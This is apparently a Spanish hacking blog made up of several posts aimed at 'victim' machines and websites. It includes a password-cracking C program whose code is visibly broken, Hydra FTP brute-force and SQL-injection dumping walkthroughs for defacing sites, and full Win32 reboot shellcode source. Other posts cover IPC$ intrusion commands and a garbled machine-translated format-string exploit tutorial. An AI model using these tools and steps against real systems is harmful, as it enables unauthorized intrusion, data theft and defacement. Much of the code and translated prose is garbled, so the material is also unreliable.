Password

Saludos Mundo Libre

He aqui un Programa escrito en c++ para desencriptar password de windows hay que compilarlo y sacar el ejecutable despues copiarlo en la maquina victina y listo tenemos el password de la maquina saludos.

codigo:

#include
#include
#include
#include
#include
#include

unsigned char huge data [100001];
unsigned char keystream [1001];
int Rpoint[300];

void main (int argc,char *argv[]) {
FILE *fd;
int i,j,k;
int siza;
char ch;
char *name;
int cracked;
int sizemask;
int maxr;
int rsz;
int pos;
int Rall[300];

if (argc<2) {
printf ("usage: glide filename (username)");
exit (1);
}
fd=fopen(argv[1],"rb");
if(fd==NULL) {
printf("cant open file %s",argv[1]);
exit(1);
}
size=0;
while(!feof(fd) {
Data[size++]=fgetc(fd);
}
size--;
fclose(fd);

name=agrv[1];
if(argc>2) name=agrv[2];
printf("Username: %s\n",name);

cracked=size-0x02008;
if(cracked<0) cracked=0;
if(cracked>1000) cracked=1000;
memcpy(Keystream,Data+0x208,cracked);

for(i=0;<20;i++) {
ch=toupper(name[i]);
if(ch==0) break;
if(ch=='.') break;
Keystream[i]^=ch;
};
cracked=20;

sizemask=Keystream[0]+(Keystream[1]<<8);
printf("Sizemask: %04X\n",sizemask);

fot(i=0;i<256;i++) Rall[1]=0;

maxr=0;
for(i=0x108;i<0x208;i++) {
if(Data[1]!=0xff) {
Rall[Data[1]]++;
if (Data[i]>maxr) maxr=Data[i];
}
}
maxr=((maxr/16)+1)*16);
Rpoint[0]=0x0208+2*maxr+20+2;
for(i=0;ipos=Rpoint[i];
rsz=Data[pos]+(Data[pos+1]<<8);
rsz^=sizemask;
printf("Analyzing block with size: %04x\t(%d:%d)\n",rsz,i,Rall[i]);
if(Rall[i]==0) && (rzs!=0) ) {
printf("unused resource has nonzero size !!!\n");
printf("If last line produce any : you many try to recover\n");
ch=getch();
if(ch!='y') exit(0);
rsz=2
i-=1;
}
pos+=rsz;
if(iwhile(Data[pos+3]!=Keystream[1]) {
printf(".",Data[pos+3]);
pos+=2;
}
}
pos+=2;
Rpoint[i+1]=pos;
}
Rpoint[maxr]=size;
for(i=0;i <=maxr;i++) {
Keystream[20+2*i]^=Rpoint[i] & 0x00ff;
Keystream[21+2*1]^=(Rpoint[i] >> 8) & 0x00ff;
}
cracked+maxr*2+2;
printf("%d byte of Keystream recoverd\n",cracked);
for(i=0;i< maxr;i++) {
rsz-Rpoint[i+1]-Rpoint[i];
if (rsz>cracked) rsz=cracked;
printf("Recource[%d] (%d)\n",i,rsz);
for(j=0;jprintf("\n");
}
exit(0);
}

Saludos Mundo Libre

Los Secretos de Google AdSense

Saludos Mundo Libre.

He aqui el famoso libro de Los Secretos de Google AdSense ya que cuenta con derechos de autor y no podemos trasmitir a terceros la informacion contenida en este libro lo boy a subir a nuestra liga.

este libro trata de agregar a nuestras webs propoganda por medio de AdSense para que el usuario clike los anuncios publicitarios y asi obtener ganancias esta bueno asi que se los dejo en mi liga.

solo usuarios registrados podran verlo.

http://mx.groups.yahoo.com/group/escuelahackerenpuebla

Saludos Mundo Libre

inspathx

Saludos Mundo Libre
boy a esplicar inspathx es una herramienta que utiliza el árbol de las fuentes locales para hacer peticiones a la dirección URL y busca la inclusión camino (Ruta completa divulgación) mensajes de error. Es un problema muy común en aplicaciones web PHP
que los cultivos de un lote.

PHP desarrolladores de aplicaciones web a veces no añadir los controles de seguridad contra las autenticaciones, etc inclusión de archivo y son propensos a revelar información sensible posible cuando las direcciones URL de las aplicaciones son solicitados directamente. A veces, es una clave para la inclusión de archivos locales (LFI), la vulnerabilidad. Para las aplicaciones de código abierto, el código fuente puede ser descargado y comprobado para encontrar dicha información.
Este script va a hacer este trabajo.

A. Primero hay que descargar el fichero archivado fuente de su software libre que desee.
B. En segundo lugar, extraer su contenido.
C. En tercer lugar, alimentar a su ruta de acceso a inspath

inspathx acepta los siguientes argumentos:

◦ argumento-d o-dir como directorio de origen (de aplicación)
◦-u o-url argumento como la dirección URL base de destino (como http://victim.com)
◦-t-argumento o las discusiones como el número de subprocesos para ejecutar al mismo tiempo (por defecto es 10)
Puede descargar inspathx a través de SVN aquí:

svn checkout http://inspathx.googlecode.com/svn/trunk/ inspathx-de sólo lectura


como siempre es una aplicacion que solo corre en linux .

Saludos Mundo Libre.

hydra

Saludos Mundo Libre he aqui un programa exelente si se an topado con una wed con el puerto 21 ftp abierto pues aqui esta hydra una aplicacion de fuerza bruta que pormedio de un user list y un passwords list intenta encontrar el usuario y el password para poder acceder por el puerto 21 abierto y asi explorar el servidor para ya sea un desface o solo por investigar el funcionamiento es muy sencillo es por medio de una shell de windows,

1.- descargarmos el programa de nuestro group la liga es
http://mx.groups.yahoo.com/group/escuelahackerenpuebla.

2.- lo instalamos en el direcctorio c:/

3.- abrimos 3 shell una para hydra una para nmap y la ultima para el tracert.

4.- scaneado la web y encontramos el puerto 21 es hora de arrancar hydra de esta forma.

5.-c:\hydra>hydra -l user -P passwords.txt -e ns -vV ip victima ftp

6.- empiesa a trabajar el programa y cuando se deteniene ya encoontro el user y password.

7.-a hora solo hay que conectarnos por ftp de la siguente forma.

8.- c>\ftp www.victima.com
Connected to victima.com
220-Microsoft FTP Service
220.
user>:user (aqui lo que hydra nos lanzo como usuario)
331 Password Required for usuario
Password: (aqui el que hidra nos lanzo como password).

9.- y solo nos queda explorar el directorio de la web y hacer lo que quieran.

Saludos Mundo Libre.

Inyeccion con SQLIhelper

Saludos Mundo Libre

Esta es una exelente aplicacion que me esta funcionando de maravilla lo unico que tenemos que acer es buscar una web vulnerable nos podemos ayudar con google o ir buscando la web para desfazar, ya teniendo la web victima procedemos acer esto:

http://pagina.com/noticias/detalles.php?id=1 *esta es url de la web*

en el explorador le quitamos el 1 para que nos regrese el error de vulnerabilidad.
abrimos el programa SQLIhelper y pegamos la url completa.
tecleamos Inject y empiesa a injectar despues Get Database.

aqui bamos a verificar en cual esta la columna de usuarios y tecleamos Get Tables

Seleccionamos la tabla de usuarios y tecleamos Get Columns.

Observamos los datos que Mysql nos ofrece marcamos los que necesitamos y tecleamos
Dump Now.

solo nos queda encontrar el panel de Administracion y a desfazar la web.

he aqui la liga del video http://www.youtube.com/watch?v=Pt_DGmnoykE

Saludos Mundo Libre.

shellcode

Saludos Mundo Libre he aqui un codigo para mi amigo raf_jup que esta aprendiendo las tecnicas de hacking.

/*
* Generic reboot shellcode for win32
*
* Targets:
*
* 95/98/ME/NT/2K/XP
*
* Usage:
*
* $ reboot.exe
* Usage: reboot.exe [test | cstyle]
*
* To generate usable code:
*
* $ reboot.exe cstyle
*
* To test the code:
*
* $ reboot.exe test
*
* Your machine should reboot.
*
* Features/Quirks:
*
* * No NULLs.
* * This cannot be tested from the Windows 95/98/ME command line.
* For more information, read the ExitWindowsEx documentation
* in the Platform SDK.
*
* References:
*
* * PEB lookup based largely on Dino Dai Zovi's peb resolver.
*
* Disclaimer:
*
* The author cannot be held responsible for how this code is used.
*
* Compile:
*
* cl reboot.c /link /debug
*
* skape
* mmiller@hick.org
*/
/*
* Technical notes
*
* Hash calculations:
*
* kernel32
*
* LoadLibraryA -> ec0e4e8e
* GetCurrentProcess -> 7b8f17e6
* ExitProcess -> 73e2d87e
*
* user32
*
* ExitWindowsEx -> 89dabef5
*
* advapi32
*
* OpenProcessToken -> 591ea70f
* LookupPrivilegeValue -> 97e8c2a2
* AdjustTokenPrivileges -> 24488a0f
*
* ebp+0x10 -> LoadLibraryA
* ebp+0x14 -> GetCurrentProcess
* ebp+0x18 -> ExitWindowsEx
* ebp+0x1c -> ExitProcess
*
* ebp+0x20 -> OpenProcessToken
* ebp+0x24 -> LookupPrivilegeValue
* ebp+0x28 -> AdjustTokenPrivileges
*
* ebp+0x30 -> token handle
*/
#include

#pragma warning(disable: 4068)

void __declspec(naked) reboot_begin()
{
__asm
{
entry:
jmp startup

#include "generic.c"

startup:
sub esp, 0x60 // Give us some room to work.
mov ebp, esp // Use ebp as our frame pointer.

call find_kernel32 // Find the base address of kernel32.dll
mov edi, eax // Save it in edi

shorten_find_function:
jmp shorten_find_function_bnc // Jump to the bounce point
shorten_find_function_rel:
pop eax // Pop the return address
sub eax, 0x6a // offset from shorten_find_function_end to find_function
shorten_find_function_fixed:
mov [ebp + 0x04], eax // Save the absolute address in ebp+0x04
jmp shorten_find_function_end // Jump to the end
shorten_find_function_bnc:
call shorten_find_function_rel // Call back to relative to get our VMA
shorten_find_function_end:
mov esi, [ebp + 0x04] // Shortcut find_function in esi

resolve_symbols_kernel32: // edi -> kernel32.dll base
// LoadLibraryA
push 0xec0e4e8e
push edi
call esi
mov [ebp + 0x10], eax

// GetCurrentProcess
push 0x7b8f17e6
push edi
call esi
mov [ebp + 0x14], eax

// ExitProcess
push 0x73e2d87e
push edi
call esi
mov [ebp + 0x1c], eax

resolve_symbols_user32: // edi -> user32.dll base
xor eax, eax
mov ax, 0x3233
push eax
push 0x72657375
push esp // Pointer to 'user32'
call [ebp + 0x10] // Call LoadLibraryA
mov edi, eax

// ExitWindowsEx
push 0x89dabef5
push edi
call esi
mov [ebp + 0x18], eax

resolve_symbols_advapi32: // edi -> advapi32.dll base
xor eax, eax
push eax
push 0x32336970
push 0x61766461
push esp // Pointer to 'advapi32'
call [ebp + 0x10] // Call LoadLibraryA
mov edi, eax

// OpenProcessToken
push 0x591ea70f
push edi
call esi
mov [ebp + 0x20], eax

// LookupPrivilegeValueA
push 0x97e8c2a2
push edi
call esi
mov [ebp + 0x24], eax

// AdjustTokenPrivileges
push 0x24488a0f
push edi
call esi
mov [ebp + 0x28], eax

open_process_token:
call [ebp + 0x14] // Call GetCurrentProcess
lea ebx, [ebp + 0x30] // Get the place to store our token
push ebx // Pointer to token handle
xor ecx, ecx // Zero ecx
mov cl, 0x28
push ecx // TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY
push eax // Current process handle
call [ebp + 0x20] // Open our token

lookup_privilege_value:
mov eax, 0x41656765
and eax, 0x92ffffff
push eax
push 0x6c697669
push 0x72506e77
push 0x6f647475
push 0x68536553
mov ecx, esp // Store the address of 'SeShutdownPrivilege'
sub esp, 0x14 // Allocate space for our TOKEN_PRIVILEGES struct
mov esi, esp // Save the address of our token privileges struct
lea ebx, [esi + 0x08] // Load the address of our tp.Privileges[0].Luid
push ebx // Luid pointer
push ecx // 'SeShutdownPrivilege' pointer
xor ecx, ecx // Zero ecx
push ecx // NULL
call [ebp + 0x24] // Call LookupPrivilegeValueA

adjust_token_privilege:
xor ecx, ecx // Zero ecx
inc ecx // Inc
mov [esi + 0x04], ecx // Set tp.PrivilegeCount to 1
inc ecx // Inc
mov [esi + 0x10], ecx // Set tp.Privileges[0].Attributes to SE_PRIVILEGE_ENABLED
xor ecx, ecx // Zero ecx
push ecx // Return length
push ecx // Previous state
push ecx // Buffer length
lea ebx, [esi + 0x04] // Grab the address of our tp struct
push ebx // Our TOKEN_PRIVILEGES struct
push ecx // Disable all
push [ebp + 0x30] // Our process token
call [ebp + 0x28] // Call AdjustTokenPrivileges

reboot:
xor ecx, ecx // Zero ecx
push ecx // Reason
mov cl, 0x06 // EWX_REBOOT | EWX_FORCE
push ecx // Flags
call [ebp + 0x18] // Call ExitWindowsEx

exit:
push ecx // Reason
call [ebp + 0x1c] // Call ExitProcess

}
}

void __declspec(naked) reboot_end()
{
__asm ret
}

int main(int argc, char **argv)
{
if (argc == 1)
{
fprintf(stdout, "Usage: %s [test | cstyle]\n", argv[0]);
return 0;
}

if (!strcmp(argv[1], "test"))
reboot_begin();
else if (!strcmp(argv[1], "cstyle"))
{
unsigned char *start = (unsigned char *)((unsigned char *)reboot_begin);
unsigned char *stop = (unsigned char *)((unsigned char *)reboot_end);
unsigned char *c = NULL;
unsigned long x = 0, length;

// Calculate the actual address in memory of the begin/end function based off their relative jmp points.
start += *(unsigned long *)((unsigned char *)reboot_begin + 1) + 5;
stop += *(unsigned long *)((unsigned char *)reboot_end + 1) + 5;
length = stop - start;

fprintf(stdout, "// %lu byte reboot shellcode\n\n", length);
fprintf(stdout, "unsigned char reboot[] = \"");

for (c = start;
x < length;
x++)
fprintf(stdout, "\\x%2.2x", c[x]);

fprintf(stdout, "\";\n\n");
}
else
fprintf(stdout, "%s: invalid option\n", argv[0]);

return 1;
}

gracias a su creador mmiller
Saludos Mundo libre.

wifite

Saludos Mundo Libre:

He trabajado con una aplicacion echa para backtrack y ubuntu sin soporte por supuesto para windows.

esta aplicacion ataca multiples web y wab al mismo tiempo con resultados asombrosos

execucion:

descargargando la version

wget -O wifite.py http://wifite.googlecode.com/svn/trunk/wifite.py

cambios de permiso de execucion:

chmod +x wifite.py

execucion:

python wifite.py

para ver la lista de comandos:

./wifite.py -help

saludos mundo libre

Navegacion Anonima

Saludos Mundo Libre

Navegacion Anonima en internet por medio de proxy he aqui unos que me han resultado de mucha ayuda:

https://sourbook.com - exelente

https://saturncoffee.com - exelente

https://purasfallas.org - exelente de paga con una donacion de $20.00 mnx

Los puedes testear en la wed con exelentes resultados.

Saludos Mundo Libre

Canzado de mandar curriculum

Este resumen no está disponible. Haz clic en este enlace para ver la entrada.

Explotando de forma remota un error 2da parte

Saludos mundo libre
He aqui la segunda parte
2.- parametros requeridos.

Los mismos parámetros que un error formato local se pide aquí:

* El desplazamiento para llegar al comienzo del buffer;
* La dirección de un código shell colocan en un lugar es la memoria del servidor;
* La dirección del buffer vulnerable;
* La dirección del remitente.

El exploit se proporciona como ejemplo en el anexo 2. Las partes siguientes de
este artículo se explica cómo ha sido concebido.

Éstos son algunos de las variables utilizadas en la hazaña:

* Sd: la toma entre el cliente (exploit) y el servidor vulnerable;
* Buf: un búfer de lectura / escritura de algunos datos;
* Read_at: una dirección en el servidor de la pila;
* FMT: cadena de formato se envía al servidor.

2.1- invitado del offset

Este parámetro siempre es necesario para la explotación de este tipo de
de error, y su determinación de obras de la misma forma que con un local
la explotación

telnet bosley 12345
Trying 192.168.1.2...
Connected to bosley.
Escape character is '^]'.
login: raynal
password: secret
AAAA%1$x
AAAAa
AAAA%2$x
AAAA41414141

Aquí, el desplazamiento es 2. Es muy fácil de adivinar automáticamente, y
eso es lo que la función get_offset()tiene como objetivo. Se envía la cadena de "AAAA%$x" al servidor. Si el desplazamiento es
entonces el servidor respuestas con la cadena "AAAA41414141"

#define MAXOFFSET 255

for (i = 1; i
snprintf(fmt, sizeof(fmt), "AAAA%%%d$x", i);
write(sock, fmt, strlen(fmt));
memset(buf, 0, sizeof(buf));
sleep(1);
read(sock, buf, sizeof(buf))
if (!strcmp(buf, "AAAA41414141"))
offset = i;
}

Saludos Mundo Libre.

Como entran a una pc via IPC$:

Saludo Mundo libre .

He aqui una pequena explicacion de como entrar a una pc .

Primero deberemos tener la ip de la pc a la que queramos entrar una muy buena manera de sacarla es esta: noss autentificamos en el MSN y le mandamos un archivo a la victima mientras se lo estas mandando abrimos el MS-DOS y pones:

netstat -n y te dara la ip de la persona

Despues cuando ya tengamos la ip te vas de nuevo al MS-DOS y pones:

net use \\ipdelamaquinaremota\IPC$ * /user:administrador

Eso es para entrar como administrador seguramente te va a pedir password para descifrar la password te recomiendo algun programa de fuerza bruta y listo ya podrás sacar la password .

Otra manera de entrar es poniendo:

net use \\ipremoto\IPC$ * /user:""

Eso es para entrar como usuario nulo talvez no te pida password pero vas a tener menos privilegios si entras como usuario nulo te recomiendo entrar como administrador , acuerdate que tendrás que sacar la password.
Y bueno si conseguiste entrar a la pc via IPC$ empieza a administrar la pc
Si tienes conocimientos en MS-DOS podrás poner los comandos a ejecutar en el MS-DOS
O si no puedes ir a mi pc y donde diría mi pc pones:
\\IPREMOTO
Y listo ya estaras en el escritorio remoto

Saludos Mundo Libre.

Explotar de forma remota un error de formato

La explotación de un error de formato de forma remota puede ser algo muy divertido. Lo permite entender muy bien los riesgos asociados a este tipo de errores. No vamos a explicar aquí la base para esta vulnerabilidad (es decir, su origen o la construcción de la cadena de formato)

- [1. Contexto: el servidor] vulnerables -

Vamos a utilizar el servidor muy minimalista (pero sin embargo pedagógicos) a lo largo este trabajo. La Comisión solicita un nombre de usuario y contraseña, luego se hace eco de su insumos.

Para instalar el servidor fmtd, tendrá que configurar inetd para que
conexiones con el puerto 12345 están permitidos:

Or with xinetd:

# /etc/xinetd.conf

service fmtd
{
type = UNLISTED
user = raynal
group = users
socket_type = stream
protocol = tcp
wait = no
server = /tmp/fmtd
port = 12345
only_from = 192.168.1.1 192.168.1.2 127.0.0.1
}

A continuación, reinicie su servidor. No se olvide de cambiar las reglas de su
servidor de seguridad si está utilizando una.

Ahora, vamos a ver cómo funciona este servidor:

$ telnet bosley 12345
Trying 192.168.1.2...
Connected to bosley.
Escape character is '^]'.
login: raynal
password: secret
hello world
hello world
^]

telnet> quit
Connection closed.

Vamos a echar un vistazo al archivo de registro:
Jan 4 10:49:09 bosley fmtd[877]: login -> read login [raynal^M ] (8) bytes
Jan 4 10:49:14 bosley fmtd[877]: passwd -> read passwd [bffff9d0] (8) bytes
Jan 4 10:49:56 bosley fmtd[877]: vul() -> error while reading input buf [] (0)
Jan 4 10:49:56 bosley inetd[407]: pid 877: exit status 255

En el ejemplo anterior, nos indica un inicio de sesión, una contraseña y un
frase antes de cerrar la conexión. Pero qué sucede cuando alimentamos
el servidor con las instrucciones de formato:

telnet bosley 12345
Trying 192.168.1.2...
Connected to bosley.
Escape character is '^]'.
login: raynal
password: secret
%x %x %x %x
d 25207825 78252078 d782520

Las instrucciones "% x% x% x% x" , muestra que nuestro
servidor es vulnerable a un error de formato.


De hecho, todos los programas actuan como que no son vulnerables a un
formato de errores:

int main( int argc, char ** argv )
{
char buf[8];
sprintf( buf, argv[1] );
}

Usando hn% aprovechado esta conduce a un desbordamiento: el formato de cadena es cada vez más y más, pero desde ningún control
realizados por su longitud, un desbordamiento.


En cuanto a las fuentes revela que los problemas vienen de vul ()

función:
...
snprintf(tmp, sizeof(tmp)-1, buf);
...
está disponible directamente a un usuario malintencionado, el ze "="
ya que el está disponible directamente a un usuario malintencionado, a
este último se le permite tomar el control del servidor ... y obtener así una
shell con los privilegios del servidor.

esta es la primera entrega en ya iremos platicando de esto mas adelante.

Saludos mundo libre.

W32.Imsolk.A @ mm

Saludos Mundo Libre he aqui un gusano

Variante W32.Imsolk/VBMania

Oh esto es un tiro de nuevo a los años 90, un gusano auto-replicantes de correo electrónico basado en un protector de pantalla malicioso (. Scr) que se envía a todos en su libreta de direcciones. Al parecer, éste se está extendiendo rápidamente aunque con cientos de miles de infecciones.

Recuerda del apogeo de ILOVEYOU y Anna Kournikova.

Un gusano de correo electrónico de rápido movimiento que empezó a difundirse el jueves ha sido capaz de afectar a cientos de miles de computadoras en todo el mundo, anti-virus Symantec advirtió proveedor.

El correo electrónico llega con el tema "Aquí tienes." Un protector de pantalla ejecutable que disfrazado como un documento PDF a continuación, intenta enviar el mismo mensaje a todos los incluidos en el libro de la dirección del destinatario. El archivo. Scr es una variante del gusano W32.Imsolk.A @ mm Symantec descubrió el mes pasado.

Además de difundir a través de correo electrónico, puede propagarse a través de las unidades asignadas, la ejecución automática y mensajería instantánea. También tiene la capacidad de deshabilitar los programas de seguridad diferentes.

Es ligeramente más avanzada que las versiones antiguas, aunque con la capacidad de propagarse a través de mensajería instantánea (MSN Messenger Live, probablemente), así como los programas de seguridad deshabilitar.

Además, es más difícil para buscar maliciosos como el protector de pantalla
en realidad no es adjunto al correo electrónico, pero descargado desde un origen remoto, y desde los primeros informes - múltiples fuentes remotas.
íóEl gusano es un retroceso a los ataques que no se ve en casi una década, cuando el Anna Kournikova y I Love You ataques causaron estragos en los sistemas de correo electrónico en todo el mundo. El que aquí tienes gusano parece diferente, ya que la carga maliciosa es descargada de una página en members.multimania.com, en lugar de ser adjunto al correo electrónico. Esto podría hacer que los esfuerzos para erradicar el gusano más fácil.

Por otra parte, McAfee dijo que múltiples variantes del gusano parece estar extendiéndose, por lo que todavía no está claro que el protector de pantalla malicioso se encuentra alojado por una sola fuente.


Tratare de conseguir el codigo para densensamblarlo y exponer el codigo fuente

Saludos Mundo libre.

fuente www.darknet.org.uk gracias.